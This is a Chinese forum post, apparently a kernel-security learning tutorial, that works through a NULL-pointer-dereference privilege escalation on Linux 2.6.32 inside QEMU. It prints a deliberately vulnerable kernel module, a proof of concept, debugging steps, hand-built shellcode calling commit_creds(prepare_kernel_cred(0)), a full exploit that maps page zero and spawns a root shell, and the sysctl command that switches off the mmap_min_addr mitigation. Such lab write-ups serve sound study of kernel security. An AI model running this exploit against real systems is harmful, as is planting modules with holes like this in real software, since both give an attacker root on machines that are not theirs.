查看: 201|回复: 0

[Pwn] linux内核漏洞利用初探(2):two_demo

[复制链接]
发表于 2020-5-4 11:37:49 | 显示全部楼层 |阅读模式

1. NULL Dereference(1)介绍
古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行
(2)漏洞代码
#include<linux/init.h>
  #include<linux/module.h>
  #include<linux/kernel.h>
  #include<linux/proc_fs.h>
  void(*my_funptr)(void);
  int bug1_write(struct file *file,constchar*buf,unsignedlong len)
  {
  my_funptr();
  return len;
  }
  staticint __init null_dereference_init(void)
  {
  printk(KERN_ALERT "null_dereference driver init!n");
  create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
  return0;
  }
  staticvoid __exit null_dereference_exit(void)
  {
  printk(KERN_ALERT "null_dereference driver exitn");
  }
  module_init(null_dereference_init);
  module_exit(null_dereference_exit);
  

Makefile如下
obj-m := null_dereference.o
  KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
  PWD := $(shell pwd)
  modules:
  $(MAKE) -C $(KERNELDR) M=$(PWD) modules
  moduels_install:
  $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
  clean:
  rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
  

代码分析:my_funptr函数指针指向不定,可以劫持之后执行shellcode。
编译驱动后将*.ko打包进busybox文件系统中,以便挂载。
(3) PoC
//poc.c
  #include<sys/types.h>
  #include<sys/stat.h>
  #include<fcntl.h>
  #include<stdio.h>
  #include<stdlib.h>
  #include<sys/mman.h>
  char payload[] = "xe9xeaxbexadx0b";//jmp 0xbadbeef
  int main(){
  mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
  memcpy(0, payload, sizeof(payload));
  int fd = open("/proc/bug1", O_WRONLY);
  write(fd, "muhe", 4);
  return0;
  }
  
$ gcc -**static** poc.c -o poc
  $ cp poc ../../busybox-1.19.4/_install/usr
  $ find . | cpio -o --format=newc > ../../rootfs_null_dereference.img
  

(4)调试PoC
QEMU启动
启动方法1:
$ qemu-system-x86_64 -kernel linux-2.6.32.1/arch/x86/boot/bzImage -initrd ./rootfs_null_dereference.img -append "root=/dev/ram rdinit=/sbin/init"
[size=1em]ctrl+alt+1 VM显示 ctrl+alt+2 监视器控制台
切换到监视器控制台:(QEMU)gdbserver tcp::1234
启动方法2:
#start.sh 脚本
  qemu-system-x86_64 \
  -m 256M      \
  -kernel linux-2.6.32.1/arch/x86/boot/bzImage \
  -initrd ./rootfs_null_dereference.img  \
  -append "root=/dev/ram rdinit=/sbin/init" \
  -s
  

然后用gdb去连接。
$ gdb vmlinux
  gdb-peda$ target remote :1234
  Remote debugging using:1234
  Warning: not running or target is remote
  current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
  186(current_stack_pointer & ~(THREAD_SIZE - 1));
  gdb-peda$ b *0x0
  Breakpoint1 at 0x0
  gdb-peda$ c
  Continuing.
  

QEMU切换到VM显示,挂载驱动null_dereference.ko后运行poc程序。
$ insmod nulldereference.ko
  $ ./usr/poc
  

linux内核漏洞利用初探(2):two_demo

linux内核漏洞利用初探(2):two_demo
gdb中反汇编查看当前执行的指令。
gdb-peda$ pdisass $pc
  Dump of assembler code from0x0 to 0x20::    Dump of assembler code from0x0 to 0x20:
  => 0x0000000000000000<per_cpu__irq_stack_union+0>:    jmp    0xbadbeef
  0x0000000000000005<per_cpu__irq_stack_union+5>:    add    BYTE PTR [rax],al
  0x0000000000000007<per_cpu__irq_stack_union+7>:    add    BYTE PTR [rax],al
  0x0000000000000009<per_cpu__irq_stack_union+9>:    add    BYTE PTR [rax],al
  

(5)exploit
(5-1)思路
给当前进程赋予root权限,执行commit_creds(prepare_kernel_cred(0));。
#获取commit_creds()和prepare_kernel_cred()地址
  $ cat /proc/kallsyms | grep commit_creds
  $ cat /proc/kallsyms | grep prepare_kernel_cred
  

linux内核漏洞利用初探(2):two_demo

linux内核漏洞利用初探(2):two_demo
(5-2)编写shellcode
xor %rax,%rax
  call 0xffffffff81083610
  call 0xffffffff81083420
  ret
  $ gcc -o payload payload.s -nostdlib -Ttext=0
  $ objdump -d payload
  payload:     file format elf64-x86-64
  Disassembly of section .text:
  0000000000000000<__bss_start-0x20000e>:
  0:    4831 c0                 xor    %rax,%rax
  3:    e8 08360881           callq  ffffffff81083610 <_end+0xffffffff80e83600>
  8:    e8 13340881           callq  ffffffff81083420 <_end+0xffffffff80e83410>
  d:    c3                       retq
  

得到shellcode。
shellcode="\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3"
  

我们需要分配0地址空间然后放入shellcode,然后jmp过去执行shellcode,使当前进程有root权限,然后执行一个system("/bin/sh");在程序返回用户态之后拿到一个root的shell。
(5-3)explot
//$ gcc -static exploit.c -o exp
  //exploit.c
  #include<sys/types.h>
  #include<sys/stat.h>
  #include<fcntl.h>
  #include<stdio.h>
  #include<stdlib.h>
  #include<sys/mman.h>
  char payload[] = "\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3";
  int main()
  {
  mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
  memcpy(0, payload, sizeof(payload));
  int fd = open("/proc/bug1", O_WRONLY);
  write(fd, "muhe", 4);
  system("/bin/sh");//get root shell
  return0;
  }
  

(6)get root shell
新建用户测试exploit。
$ insmod nulldereference.ko   #加载漏洞模块
  $ touch /etc/passwd
  $ adduser john
  $ touch /etc/group
  $ su john
  $ whoami
  john
  $ /usr/exp
  #报错sementation fault,这是因为,2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr。
  $ exit
  $ sysctl -w vm.mmap_min_addr="0"
  $ su john
  $ /usr/exp
  

linux内核漏洞利用初探(2):two_demo

linux内核漏洞利用初探(2):two_demo
参考:
https://www.anquanke.com/post/id/85837
https://www.anquanke.com/post/id/85840
https://www.anquanke.com/post/id/85848
文章首发于先知-linux内核漏洞利用初探(2):two_demo[1]。内核安全相关项目见git仓库[2]。
References
[1] 先知-linux内核漏洞利用初探(2):two_demo: https://xz.aliyun.com/t/6010[2] git仓库: https://github.com/bsauce/kernel-security-learning

往期推荐
  linux内核漏洞利用初探(1):环境配置
  qemu-pwn-基础知识
  qemu pwn-Blizzard CTF 2017 Strng writeup



linux内核漏洞利用初探(2):two_demo

linux内核漏洞利用初探(2):two_demo


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表